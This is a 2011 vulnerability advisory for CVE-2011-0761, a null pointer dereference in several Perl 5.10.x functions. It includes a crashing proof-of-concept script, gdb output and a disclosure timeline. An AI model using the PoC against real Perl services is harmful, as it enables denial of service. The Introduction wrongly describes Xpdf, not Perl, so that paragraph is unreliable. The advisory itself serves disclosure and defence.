------------------------------------------------------------------------
---
* Perl : multiple functions null pointer dereference *
* uppon parameters injection *
------------------------------------------------------------------------
---
--[ Vulnerability Summary:
Date Published: 03/05/2011
Last Update: 03/05/2011
Advisory ID: TSSA-2011-03
CVE Name: CVE-2011-0761
Title: Perl : multiple functions null pointer dereference
Remotely Exploitable: Yes
Locally Exploitable: No
Impact: Remote DoS
Advisory URL: http://www.toucan-system.com/advisories/tssa-2011-03.txt
--[ Introduction:
Following 3 paragraphs taken from the vendors' documentation:
Xpdf is an open source viewer for Portable Document Format (PDF)
files. (These are also sometimes also called 'Acrobat' files, from
the name of Adobe's PDF software.) The Xpdf project also includes a
PDF text extractor, PDF-to-PostScript converter, and various other
utilities.
Xpdf runs under the X Window System on UNIX, VMS, and OS/2. The non-X
components (pdftops, pdftotext, etc.) also run on Win32 systems and
should run on pretty much any system with a decent C++ compiler.
Xpdf is designed to be small and efficient. It can use Type 1 or
TrueType fonts.
--[ Synopsis:
When given a wrong number of arguments, a number of perl functions
will attempt to read memory from an unmapped location, resulting
in a deterministic crash.
--[ Vulnerability overview:
The perl functions vulnerable to this attack are:
getpeername()
readdir()
closedir()
getsockname()
readdir()
rewinddir()
tell()
telldir()
When given a wrong number of arguments, those functions will
attempt to perform a comparison between an unalocated memory
zone and a given register, resulting in a segmentation fault:
jonathan@blackbox:~/test$ cat poc1.pl
#!/usr/bin/perl
$a =
getsockname(9505,4590,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA",17792);
jonathan@blackbox:~/test$ perl poc1.pl
Segmentation fault (core dumped)
jonathan@blackbox:~/test$
More precisely, the Perl_gv_IOadd() function is invoqued and
attempts to perform a comparison:
gdb $ r ./poc1.pl
[Thread debugging using libthread_db enabled]
Program received signal SIGSEGV, Segmentation fault.
---------------------------------------------------------------[regs]
eax:08178008 ebx:00000000 ecx:080C53B0 edx:000000F4 eflags:00210282
esi:00000000 edi:0817D554 esp:BFFFF640 ebp:BFFFF658 eip:08082B42
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[0073:08082B42]------------------------------------------------[code]
--[ Instruction:
=> 0x8082b42 <Perl_gv_IOadd+18>: cmp BYTE PTR [ebx+0x8],0x9
The register ebx being null, the application actually tries to
read from the (unmapped) first page, resulting in a null
pointer dereference, and eventually a crash.
--[ Impact:
Perl not being a compiled language, injection of wrong number of
parameters is technically possible (in very much the same way as
say, sql injections).
It is in any case not possible to execute code directly using this
vulnerability as null pointers dereferences in the first page are not
exploitable under modern OSes.
But, if a given third party perl web application was calling one
of the above listed vulnerable functions in a way allowing
parameter injections, while performing a critical operation
requiring some degree of atomicity, it would be possible to
interrupt the execution of this operation before it completes,
hence breaking the business logic assumptions of the web
applications designers.
Wether this vulnerability actually allows to steal millions from
widespread perl web applications has not been investigated and
won't be dulled about.
--[ Vulnerable versions:
Vulnerable : Perl version 5.10.x.
In particular, versions 5.10.1 of perl as shipped with ubuntu
10.04 and 10.10 as well as version 5.10.0 provided with OSX
10.6 are known to be vulnerable.
Non vulnerable : Perl version <= 5.10.0 OR >= 5.12.0.
--[ Disclosure timeline:
* 05/01/2011: Toucan System contacts the CERT, providing full
description and PoC samples to audit the issue.
* 10/02/2011: The CERT is able to replicate the bug under both
ubuntu 10.04 and ubuntu 10.10, and therefor forwards the PoCs
to the perl team.
* 11/02/2011: The Perl Team acknowledge the vulnerability and starts
investigating which exact versions are vulnerable.
* 11/02/2011: The CERT assigns CVE-2011-0761 to this vulnerability.
* 15/02/2011: The Perl Team notifies us that stable version 5.12.0
is not vulnerable to this bug.
* 18/04/2011: Public disclosure.
--[ Credits:
Those vulnerabilities were discovered by Jonathan Brossard from
Toucan System.
--[ About Toucan System:
Toucan System is a French computer security company providing
cutting edge research and security consulting to Fortune 500
as well as smaller companies globally, thanks to a wide range
of expertise ranging from Reverse Engineering and binary
analysis to cryptography and Risk Management.
